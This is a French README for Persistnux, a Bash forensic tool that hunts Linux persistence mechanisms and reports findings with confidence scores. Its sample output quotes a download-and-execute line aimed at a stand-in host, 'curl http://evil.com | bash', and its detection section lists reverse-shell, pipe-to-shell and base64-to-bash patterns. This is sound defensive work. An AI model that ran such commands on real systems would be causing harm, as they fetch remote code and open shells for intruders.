
Persistnux — Mis à jour !
Outil de détection de persistance Linux basé sur Bash pour les enquêtes DFIR. Analyse 15+ mécanismes de persistance (systemd, cron, modules noyau, SSH, conteneurs) avec un score de confiance et génère des rapports CSV/JSONL pour l'analyse forensique.
Persistnux
Un outil complet de détection de persistance Linux pour les enquêtes de criminalistique numérique et réponse aux incidents (DFIR).
Aperçu
Persistnux est un outil en Bash conçu pour identifier les mécanismes de persistance Linux connus utilisés par les attaquants pour maintenir l'accès à des systèmes compromis. Il effectue des vérifications complètes sur le système et génère des rapports détaillés aux formats CSV et JSONL pour une analyse approfondie.
Fonctionnalités
- Détection exhaustive : Couvre tous les principaux mécanismes de persistance Linux
- Analyse en direct : S'exécute directement sur des systèmes en production avec un minimum de dépendances
- Rapports détaillés : Génère des rapports CSV et JSONL avec les hachages de fichiers, les métadonnées et les scores de confiance
- Root et non-root : Fonctionne avec ou sans privilèges root (portée limitée pour non-root)
- Prêt pour le DFIR : Formats de sortie compatibles avec les outils et workflows DFIR courants
- Score de suspicion : Score de confiance automatique (FAIBLE, MOYEN, ÉLEVÉ, CRITIQUE) basé sur les indicateurs
- Réduction des faux positifs : Intégration du gestionnaire de paquets et liste blanche des services connus légitimes
- Analyse temporelle : Les fichiers récemment modifiés reçoivent des scores de confiance plus élevés
- Correspondance de motifs : Détecte les reverse shells, les motifs de téléchargement-exécution, les techniques d'obscurcissement
Mécanismes de persistance détectés
1. Services Systemd
- Fichiers de service (
.service) dans/etc/systemd/system,/lib/systemd/system,/usr/lib/systemd/system - Services systemd au niveau utilisateur
- Filtrage des services désactivés et des services sans ExecStart
- Détection de commandes ExecStart suspectes
- Vérification de l'intégrité des paquets des binaires/scripts exécutés
2. Tâches cron et planifiées
- Crontabs système (
/etc/crontab,/etc/cron.d/*) - Répertoires d'exécution périodique (
/etc/cron.{daily,hourly,weekly,monthly}) - Crontabs utilisateur pour tous les utilisateurs (mode root)
- Tâches At
- Motifs de commandes suspectes dans les tâches planifiées
- Fichiers ACL
/etc/cron.allowet/etc/cron.denv— les entrées référençant des utilisateurs inexistants sont signalées
3. Profils shell et fichiers RC
- Profils système (
/etc/profile,/etc/bash.bashrc,/etc/zshrc) - Scripts Profile.d (
/etc/profile.d/*) - Profils utilisateur (
.bashrc,.bash_profile,.zshrc,.profile, etc.) - Configurations Fish shell
- Détection de commandes malveillantes dans les fichiers de profil
4. Scripts d'init et RC.local
/etc/rc.localet variantes- Scripts d'init SysV (
/etc/init.d) - Scripts de niveau d'exécution (
/etc/rc*.d) - Détection de commandes suspectes de téléchargement/exécution
5. Modules du noyau et préchargement de bibliothèques
- Configurations LD_PRELOAD (
/etc/ld.so.preload) — chaque bibliothèque listée est vérifiée via le gestionnaire de paquets - Configurations du linker dynamique (
/etc/ld.so.conf,/etc/ld.so.conf.d/) — intégrité des fichiers de conf + fichiers.sodans des chemins non standards scannés et vérifiés /etc/environmentLD_PRELOAD/LD_LIBRARY_PATH — le fichier d'environnement est signalé ÉLEVÉ ; les chemins de bibliothèques référencés sont vérifiés (non gérés/modifiés → CRITIQUE)- Paramètres des modules du noyau (
/etc/modprobe.d/,/etc/modprobe.conf) — intégrité des fichiers ; les directivesinstallsont analysées pour des cibles de commandes suspectes ; lesblacklistde modules de sécurité (apparmor, selinux, seccomp) sont signalées ÉLEVÉ - Configurations de chargement automatique des modules (
/etc/modules,/etc/modules-load.d/) — intégrité des configs ; les noms de modules référencés sont résolus en fichiers.koviamodinfoet vérifiés - Modules du noyau chargés (
lsmod) — énumération et vérification d'intégrité
6. Mécanismes supplémentaires
- Entrées de démarrage automatique XDG (
.config/autostart,/etc/xdg/autostart) — tous les répertoires personnels sont scannés en mode root - Fichiers d'environnement système (
/etc/environment) — chemins de bibliothèques LD_PRELOAD/LD_LIBRARY_PATH vérifiés - Configurations sudoers et fichiers drop-in (
/etc/sudoers,/etc/sudoers.d/) — motifs NOPASSWD/ALL → ÉLEVÉ - PAM (Modules d'authentification enfichables) :
- Tous les modules
.sovérifiés via le gestionnaire de paquets ; les directives@includesont suivies ;/etc/pam.confinclus - Analyse des scripts
pam_exec.so— scripts manquants/suspects → CRITIQUE - Détection de relais
pam_python.so/pam_perl.so— script extrait et analysé - Détection de fichiers d'accroche
pam_script.sodans/etc/security/ - Intégrité des fichiers de configuration — configurations PAM modifiées appartenant à un paquet → CRITIQUE
- Vérification des bibliothèques LD_PRELOAD dans
pam_env.confet~/.pam_environment - Scan général de
/etc/security/
- Tous les modules
- Scripts MOTD (
/etc/update-motd.d/) — vérification de paquet ; modifié → CRITIQUE - Aides de crédentiel Git et paramètres core.pager — analyse de contenu pour tous les utilisateurs
- Webshells dans les répertoires web courants
8. Persistance SSH
~/.ssh/authorized_keyspar utilisateur — clés récemment modifiées signalées ; optioncommand=analysée pour des motifs suspects~/.ssh/rcpar utilisateur — présence signalée MOYEN ; contenu suspect/reverse shell → ÉLEVÉ/CRITIQUE
9. Détournement de binaires
- Vérifie les binaires système installés par rapport à la base de données des paquets (
dpkg -Vsur Debian/Ubuntu,rpm -Vasur RHEL/CentOS) - Fichiers modifiés dans
/usr/bin,/usr/sbin,/bin,/sbin→ résultat CRITIQUE - Modules PAM modifiés dans
/lib/security→ résultat CRITIQUE - Les fichiers de configuration (conffiles dpkg) sont exclus pour éviter les faux positifs
10. Chargeur d'amorçage et initramfs
- Injection du paramètre noyau
init=dans GRUB (/etc/default/grub,/etc/default/grub.d/*.cfg) - Scripts d'init déposés à la racine
/ - Modules initramfs Dracut avec accroches
pre-pivotécrivant dans/sysroot/etc/shadow - Scripts d'accroche initramfs-tools Ubuntu dans
/etc/initramfs-tools/scripts/et/hooks/ - Images
/boot/initrd.img-*récemment modifiées (basé sur mtime)
11. Manipulation de Polkit (PolicyKit)
- Fichiers
.pklaavecResultAny/ResultInactive/ResultActive=yesinconditionnels - Octrois d'identité générique (
unix-user:*) - Fichiers
.rulesavecpolkit.Result.YESinconditionnel (Polkit basé sur JavaScript >= 0.106)
12. D-Bus et NetworkManager
- Enregistrement de service système D-Bus malveillant
Exec=(/usr/share/dbus-1/system-services/) - Directives de politique D-Bus joker
allow own="*"ousend_destination="*" - Scripts de répartiteur NetworkManager (
/etc/NetworkManager/dispatcher.d/)
13. Règles Udev
- Directives Udev
RUN+=exécutant des commandes ou scripts arbitraires (/etc/udev/rules.d/,/lib/udev/rules.d/) - Règles injectées en runtime dans
/run/udev/rules.d/ - Motifs de délégation
at/crondansRUN+=(contournement courant de la restriction de premier plan)
14. Évasion de conteneur
- Conteneurs Docker privilégiés (
--privileged,--pid=host) - Montages bind
docker.sockdans les conteneurs (contrôle total de l'hôte via l'API Docker) nsenter -t 1dans les points d'entrée de conteneurs ou Dockerfiles- Dockerfiles dans des répertoires inscriptibles par l'utilisateur contenant des techniques d'évasion
15. Vérifications avancées des binaires et privilèges
- Scan actif du système de fichiers pour les SUID/SGID dans les répertoires système
- Scan des capacités de fichiers via
getcap—cap_setuid+epsur GTFOBins → CRITIQUE - Détournement de binaires : originaux renommés (
.original,.old,.bak,.real) avec scripts enveloppes - Comptes non root avec UID 0 dans
/etc/passwd - Masquage de shell via espace de fin dans le champ shell de
/etc/passwd - Comptes système (UID 1-999) avec fichiers
authorized_keysSSH
Installation
# Cloner le dépôt
git clone https://github.com/yourusername/persistnux.git
cd persistnux
# Rendre le script exécutable
chmod +x persistnux.sh
Utilisation
Utilisation de base (analyse en direct)
# Exécution avec les paramètres par défaut (affiche uniquement les résultats suspects)
sudo ./persistnux.sh
# Afficher l'aide et toutes les options
./persistnux.sh --help
# Exécution en tant qu'utilisateur normal (portée limitée)
./persistnux.sh
Options de filtrage (v2.4+)
Par défaut, Persistnux affiche uniquement les résultats suspects (confiance MOYENNE, ÉLEVÉE, CRITIQUE) pour réduire le bruit et se concentrer sur les menaces exploitables.
# Par défaut : Afficher uniquement les résultats suspects
sudo ./persistnux.sh
# Afficher tous les résultats, y compris la ligne de base (confiance FAIBLE)
sudo ./persistnux.sh --all
# OU
sudo FILTER_MODE=all ./persistnux.sh
# Afficher uniquement les résultats de confiance ÉLEVÉE et CRITIQUE
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh
# Combiner les filtres : confiance ÉLEVÉE uniquement
sudo ./persistnux.sh --min-confidence HIGH
Répertoire de sortie personnalisé
# Spécifier un répertoire de sortie personnalisé
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh
# Combiner avec le filtrage
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh
Fichiers de sortie
Par défaut, Persistnux crée un répertoire de sortie . /persistnux_output/ contenant :
persistnux_<nom_hote>_<horodatage>.csv- Rapport au format CSVpersistnux_<nom_hote>_<horodatage>.jsonl- Rapport au format JSONL (un objet JSON par ligne)persistnux_<nom_hote>_<horodatage>_report.txt- Rapport récapitulatif lisible avec les comptes de résultats et les métadonnées d'analyse
Format de sortie
Format CSV
timestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"
Format JSONL
{
"timestamp": "2026-01-23T10:30:00Z",
"hostname": "webserver01",
"category": "Systemd Service",
"confidence": "HIGH",
"file_path": "/etc/systemd/system/example.service",
"file_hash": "abc123...",
"file_owner": "root:root",
"file_permissions": "644",
"file_age_days": "3",
"package_status": "unmanaged",
"command": "/opt/example.sh",
"description": "example.service",
"matched_pattern": "suspicious_script_content",
"matched_string": "curl http://evil.com | bash"
}
Champs clés de sortie
- matched_pattern : Le motif de détection qui a déclenché le résultat (ex.
suspicious_script_content,modified_package,unmanaged_binary) - matched_string : Le contenu suspect réel trouvé (ligne entière, pas seulement le mot-clé)
Score de confiance
Persistnux utilise un score de confiance intelligent pour réduire les faux positifs :
- FAIBLE : Configuration système standard, suspicion faible (fichiers souvent gérés par paquet)
- MOYEN : Potentiellement suspect mais pourrait être légitime
- ÉLEVÉ : Motifs suspects détectés (ex. curl/wget dans cron, exécution dans /tmp, reverse shells)
- CRITIQUE : Preuve définitive de falsification — échec de vérification d'intégrité du paquet, SUID/SGID sur un fichier suspect, anomalie de module PAM, générateur systemd dans un emplacement éphémère, ou code interpréteur en ligne avec charge utile à haute entropie
Réduction des faux positifs (v1.2+)
Persistnux inclut désormais plusieurs fonctionnalités pour réduire les faux positifs :
- Intégration du gestionnaire de paquets : Les fichiers gérés par
dpkg(Debian/Ubuntu) ourpm(RedHat/CentOS) reçoivent des scores de confiance plus faibles - Liste blanche des services connus légitimes : Les services courants des fournisseurs (systemd-, dbus-, snap.*, etc.) sont automatiquement ignorés
- Score temporel : Les fichiers récemment modifiés (<7 jours) reçoivent des scores de confiance plus élevés
- Analyse contextuelle : Combine plusieurs indicateurs pour une détection plus précise
Indicateurs suspects
Persistnux signale automatiquement les éléments avec une confiance plus élevée lorsqu'il détecte :
Motifs basés sur le réseau
- Reverse shells :
bash -i >& /dev/tcp/,sh -i >& /dev/udp/ - Outils réseau :
nc,netcat,socat,telnet - Opérations de socket dans les langages de script :
python -c 'import socket'
Motifs de téléchargement et exécution
- Outils de téléchargement :
curl | bash,wget | sh - Téléchargement avec exécution :
curl URL -o /tmp/file && chmod +x
Techniques d'obscurcissement
- Encodage :
base64 -d | bash,eval $(echo BASE64) - Exécution dynamique :
eval,exec
Emplacements suspects
- Répertoires temporaires :
/tmp,/dev/shm,/var/tmp - Répertoires et fichiers cachés
Manipulation des permissions
- Rendre les fichiers exécutables :
chmod +x,chmod 777 - Manipulation du bit SUID :
chmod u+s
Prérequis
- Bash 4.0+
- Utilitaires Unix standards :
find,grep,stat,sha256sum,awk,file - Optionnel :
systemctl,lsmod,modinfo,getcap,dpkg/rpm(pour des vérifications spécifiques) - Aucune dépendance d'interpréteur (bash pur + coreutils ; pas de
python/jqnécessaire) - Accès root/sudo recommandé pour une analyse complète
Testé sur / Compatibilité
| Distribution | Statut | Remarques |
|---|---|---|
| Ubuntu 22.04 LTS | ✅ Testé | Plateforme principale de développement et de test |
| Ubuntu 20.04 LTS | ✅ Testé | Entièrement pris en charge |
| Debian 11/12 | ✅ Testé | Basé sur dpkg, mêmes conventions de chemins |
| Kali Linux (rolling) | ✅ Testé | Utilisé pour le benchmark de détection PANIX (voir ci-dessous) |
| RedHat / RHEL | ⚠️ Non encore testé | La prise en charge de rpm est implémentée mais non vérifiée sur des systèmes en production |
| Fedora | ⚠️ Non encore testé | La prise en charge de rpm est implémentée mais non vérifiée sur des systèmes en production |
| CentOS / AlmaLinux / Rocky | ⚠️ Non encore testé | La prise en charge de rpm est implémentée mais non vérifiée sur des systèmes en production |
Remarque : L'outil est principalement testé sur des systèmes Ubuntu/Debian. Les distributions RedHat, Fedora et basées sur RPM ont une prise en charge du gestionnaire de paquets implémentée dans le code mais n'ont pas été validées dans des environnements de test en direct. Les contributions et les rapports de test pour les distributions basées sur RPM sont les bienvenus.
Tests / Benchmark
Persistnux est comparé à PANIX,
qui installe les mêmes mécanismes de persistance que Persistnux recherche. Le harnais
reproductible tests/panix_benchmark.sh applique chaque
technique PANIX, exécute Persistnux, et confirme la détection via une diff de base.
Chaque technique PANIX basée sur un fichier applicable sur la machine de test est
détectée avec une confiance MOYENNE+. Voir PANIX_BENCHMARK.md pour le
tableau de couverture complet et la méthodologie.
⚠️ Le benchmark installe de véritables backdoors — exécutez-le uniquement dans une VM jetable.
Roadmap
- Mode d'analyse hors ligne pour les images de disques forensiques
- Intégration de la collecte UAC (Unix-like Artifacts Collector)
- Étendre le benchmark PANIX aux vecteurs de chargeur d'amorçage/initramfs/LKM sur une VM complète
Ressources
https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX
Contribuer
Les contributions sont les bienvenues ! N'hésitez pas à soumettre des pull requests ou à ouvrir des issues pour :
- La détection de nouveaux mécanismes de persistance
- Les corrections de bugs
- Les améliorations de documentation
- Les optimisations de performances
- Des formats de sortie supplémentaires
Licence
Licence MIT - Voir le fichier LICENSE pour les détails
Remerciements
Développé pour la communauté DFIR afin d'aider dans la réponse aux incidents Linux et les investigations forensiques.
Avertissement
Cet outil est destiné uniquement aux tests de sécurité autorisés, à la réponse aux incidents et à l'analyse forensique. Les utilisateurs sont responsables de s'assurer qu'ils disposent des autorisations appropriées avant d'exécuter cet outil sur un système.
Contact
Pour toute question, problème ou contribution, veuillez utiliser le système de suivi des issues GitHub.